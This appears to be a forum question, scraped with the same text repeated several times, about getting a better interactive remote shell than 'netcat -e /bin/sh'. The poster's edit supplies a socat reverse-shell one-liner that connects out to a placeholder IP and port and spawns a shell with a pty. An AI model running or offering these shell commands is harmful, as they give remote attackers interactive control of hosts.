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Currently I'm using the standard netcat -e /bin/sh to provide a remote shell for other computers to access.

The problem is however that this shell is rather terrible, since it has limited output. For example if I send some invalid command xxxxx, I will get no response from the machine, but on the machine there will be an error in the terminal saying /bin/sh: xxxxx: not found.

If I use the shell to launch a console application, often I cannot see anything the console application outputs, and I can't Ctrlz over the shell because that will close netcat on the machine. It's a mess, I'd like it to work just like SSH (which I can't use).

Instead of piping everything to /bin/sh like I'm doing with netcat, would it be possible to create a custom application instead that will show me all the outputs in a terminal? Is it possible somehow get the text off the terminal, regardless of what process wrote to it?

Would it be possible to start an sshd on the box, and then netcat -e "ssh root@localhost" and do it that way? (I've tried this, doesn't seem to work).

I'm looking for any kind of solution.

EDIT: After about 40 hours of searching and dealing with people trying to force me to use SSH, I've figured it out thanks to this article: http://blog.rootshell.ir/2010/08/get-your-interactive-reverse-shell-on-a-webhost/

The magic command:

socat tcp:<IPADDRESS>:<PORT> exec:’bash -li’,pty,stderr,setsid,sigint,sane

The magic is socat and that last part:

exec:’sh’,pty,stderr,setsid,sigint,sane

Which allows me to get a near-perfect terminal over reverse connected socat. I changed bash -li to just sh because it was giving me errors.

Thanks for the help!

Currently I'm using the standard netcat -e /bin/sh to provide a remote shell for other computers to access.

The problem is however that this shell is rather terrible, since it has limited output. For example if I send some invalid command xxxxx, I will get no response from the machine, but on the machine there will be an error in the terminal saying /bin/sh: xxxxx: not found.

If I use the shell to launch a console application, often I cannot see anything the console application outputs, and I can't Ctrlz over the shell because that will close netcat on the machine. It's a mess, I'd like it to work just like SSH (which I can't use).

Instead of piping everything to /bin/sh like I'm doing with netcat, would it be possible to create a custom application instead that will show me all the outputs in a terminal? Is it possible somehow get the text off the terminal, regardless of what process wrote to it?

Would it be possible to start an sshd on the box, and then netcat -e "ssh root@localhost" and do it that way? (I've tried this, doesn't seem to work).

I'm looking for any kind of solution.

Currently I'm using the standard netcat -e /bin/sh to provide a remote shell for other computers to access.

The problem is however that this shell is rather terrible, since it has limited output. For example if I send some invalid command xxxxx, I will get no response from the machine, but on the machine there will be an error in the terminal saying /bin/sh: xxxxx: not found.

If I use the shell to launch a console application, often I cannot see anything the console application outputs, and I can't Ctrlz over the shell because that will close netcat on the machine. It's a mess, I'd like it to work just like SSH (which I can't use).

Instead of piping everything to /bin/sh like I'm doing with netcat, would it be possible to create a custom application instead that will show me all the outputs in a terminal? Is it possible somehow get the text off the terminal, regardless of what process wrote to it?

Would it be possible to start an sshd on the box, and then netcat -e "ssh root@localhost" and do it that way? (I've tried this, doesn't seem to work).

I'm looking for any kind of solution.

Currently I'm using the standard netcat -e /bin/sh to provide a remote shell for other computers to access.

The problem is however that this shell is rather terrible, since it has limited output. For example if I send some invalid command xxxxx, I will get no response from the machine, but on the machine there will be an error in the terminal saying /bin/sh: xxxxx: not found.

If I use the shell to launch a console application, often I cannot see anything the console application outputs, and I can't Ctrlz over the shell because that will close netcat on the machine. It's a mess, I'd like it to work just like SSH (which I can't use).

Instead of piping everything to /bin/sh like I'm doing with netcat, would it be possible to create a custom application instead that will show me all the outputs in a terminal? Is it possible somehow get the text off the terminal, regardless of what process wrote to it?

Would it be possible to start an sshd on the box, and then netcat -e "ssh root@localhost" and do it that way? (I've tried this, doesn't seem to work).

I'm looking for any kind of solution.

EDIT: After about 40 hours of searching and dealing with people trying to force me to use SSH, I've figured it out thanks to this article: http://blog.rootshell.ir/2010/08/get-your-interactive-reverse-shell-on-a-webhost/

The magic command:

socat tcp:<IPADDRESS>:<PORT> exec:’bash -li’,pty,stderr,setsid,sigint,sane

The magic is socat and that last part:

exec:’sh’,pty,stderr,setsid,sigint,sane

Which allows me to get a near-perfect terminal over reverse connected socat. I changed bash -li to just sh because it was giving me errors.

Thanks for the help!

Currently I'm using the standard netcat -e /bin/sh to provide a remote shell for other computers to access.

The problem is however that this shell is rather terrible, since it has limited output. For example if i send some invalid command "xxxxx", i will get no response from the machine, but on the machine there will be an error in the terminal saying "/bin/sh: xxxxx: not found"

If i use the shell to launch a console application, often i cannot see anything the console application outputs, and i can't Ctrl-Z over the shell because that will close netcat on the machine. It's a mess, I'd like it to work just like SSH (which i can't use)

Instead of piping everything to /bin/sh like I'm doing with netcat, would it be possible to create a custom application instead sh that will show me all the outputs in a terminal? Is it possible somehow get the text off the terminal, regardless of what process wrote to it?

Would it be possible to start an sshd on the box, and then netcat -e "ssh root@localhost" and do it that way? (i've tried this, doesn't seem to work)

I'm looking for any kind of solution :/

Currently I'm using the standard netcat -e /bin/sh to provide a remote shell for other computers to access.

The problem is however that this shell is rather terrible, since it has limited output. For example if I send some invalid command xxxxx, I will get no response from the machine, but on the machine there will be an error in the terminal saying /bin/sh: xxxxx: not found.

If I use the shell to launch a console application, often I cannot see anything the console application outputs, and I can't Ctrlz over the shell because that will close netcat on the machine. It's a mess, I'd like it to work just like SSH (which I can't use).

Instead of piping everything to /bin/sh like I'm doing with netcat, would it be possible to create a custom application instead that will show me all the outputs in a terminal? Is it possible somehow get the text off the terminal, regardless of what process wrote to it?

Would it be possible to start an sshd on the box, and then netcat -e "ssh root@localhost" and do it that way? (I've tried this, doesn't seem to work).

I'm looking for any kind of solution.